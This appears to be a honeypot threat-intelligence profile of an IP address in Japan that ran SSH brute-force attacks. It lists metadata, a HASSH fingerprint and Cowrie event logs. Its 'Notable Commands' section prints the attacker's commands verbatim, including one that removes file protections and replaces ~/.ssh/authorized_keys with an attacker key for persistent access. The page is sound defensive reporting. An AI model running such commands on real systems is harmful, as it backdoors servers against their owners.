IntrusionLabs / threat intelligence

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123.48.142.249

Threat Confidence

53%

Location

🇯🇵 JP / Hamamatsu

ASN

AS18126 · Chubu Telecommunications Company, Inc.

Cloud Provider

—

Total Events

91

Above average by volume

Agent Count

1

First / Last Seen

2026-03-23 22:50 — 2026-03-25 16:55

Attack Types

ssh:bruteforce

External Corroboration

Blocklist.de

Reported 2026-03-27 17:55

blocklist_de:reported

Campaigns

Not associated with any campaigns

Session Forensics

malware_dropper ×2 credential_harvester ×11 opportunistic_bruter ×2

Sessions

15 (4 with login)

Avg Depth Score

0.46

Commands Executed

6

Files Downloaded

2

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

03a80b21afa810682a776a7d42e5e6fb

SSH Client

SSH-2.0-libssh_0.11.1

Recent Events (last 50)

Timestamp	Port	Proto	Event	Location
2026-03-25 16:55:24	:22	ssh	cowrie.session.closed	sin
2026-03-25 16:55:24	:22	ssh	cowrie.session.closed	sin
2026-03-25 16:55:23	:22	ssh	cowrie.login.success	sin
2026-03-25 16:55:23	:22	ssh	cowrie.client.kex	sin
2026-03-25 16:55:23	:22	ssh	cowrie.client.version	sin
2026-03-25 16:55:23	:22	ssh	cowrie.session.connect	sin
2026-03-25 16:55:23	:22	ssh	cowrie.session.closed	sin
2026-03-25 16:55:22	:22	ssh	cowrie.login.failed	sin
2026-03-25 16:55:21	:22	ssh	cowrie.client.kex	sin
2026-03-25 16:55:21	:22	ssh	cowrie.client.version	sin
2026-03-25 16:55:21	:22	ssh	cowrie.session.connect	sin
2026-03-25 16:55:21	:22	ssh	cowrie.log.closed	sin
2026-03-25 16:55:21	:22	ssh	cowrie.session.file_download	sin
2026-03-25 16:55:21	:22	ssh	cowrie.command.input	sin
2026-03-25 16:55:21	:22	ssh	cowrie.session.params	sin
2026-03-25 16:55:21	:22	ssh	cowrie.log.closed	sin
2026-03-25 16:55:21	:22	ssh	cowrie.command.failed	sin
2026-03-25 16:55:21	:22	ssh	cowrie.command.input	sin
2026-03-25 16:55:21	:22	ssh	cowrie.session.params	sin
2026-03-25 16:55:21	:22	ssh	cowrie.login.success	sin
2026-03-25 16:55:20	:22	ssh	cowrie.client.kex	sin
2026-03-25 16:55:20	:22	ssh	cowrie.client.version	sin
2026-03-25 16:55:20	:22	ssh	cowrie.session.connect	sin
2026-03-23 23:09:25	:22	ssh	cowrie.session.closed	sin
2026-03-23 23:09:25	:22	ssh	cowrie.session.closed	sin
2026-03-23 23:09:25	:22	ssh	cowrie.login.success	sin
2026-03-23 23:09:24	:22	ssh	cowrie.client.kex	sin
2026-03-23 23:09:24	:22	ssh	cowrie.client.version	sin
2026-03-23 23:09:24	:22	ssh	cowrie.session.connect	sin
2026-03-23 23:09:24	:22	ssh	cowrie.session.closed	sin
2026-03-23 23:09:23	:22	ssh	cowrie.login.failed	sin
2026-03-23 23:09:23	:22	ssh	cowrie.client.kex	sin
2026-03-23 23:09:23	:22	ssh	cowrie.client.version	sin
2026-03-23 23:09:23	:22	ssh	cowrie.session.connect	sin
2026-03-23 23:09:23	:22	ssh	cowrie.log.closed	sin
2026-03-23 23:09:23	:22	ssh	cowrie.session.file_download	sin
2026-03-23 23:09:23	:22	ssh	cowrie.command.input	sin
2026-03-23 23:09:23	:22	ssh	cowrie.session.params	sin
2026-03-23 23:09:22	:22	ssh	cowrie.log.closed	sin
2026-03-23 23:09:22	:22	ssh	cowrie.command.failed	sin
2026-03-23 23:09:22	:22	ssh	cowrie.command.input	sin
2026-03-23 23:09:22	:22	ssh	cowrie.session.params	sin
2026-03-23 23:09:22	:22	ssh	cowrie.login.success	sin
2026-03-23 23:09:22	:22	ssh	cowrie.client.kex	sin
2026-03-23 23:09:22	:22	ssh	cowrie.client.version	sin
2026-03-23 23:09:22	:22	ssh	cowrie.session.connect	sin
2026-03-23 23:07:20	:22	ssh	cowrie.session.closed	sin
2026-03-23 23:07:19	:22	ssh	cowrie.login.failed	sin
2026-03-23 23:07:19	:22	ssh	cowrie.client.kex	sin
2026-03-23 23:07:18	:22	ssh	cowrie.client.version	sin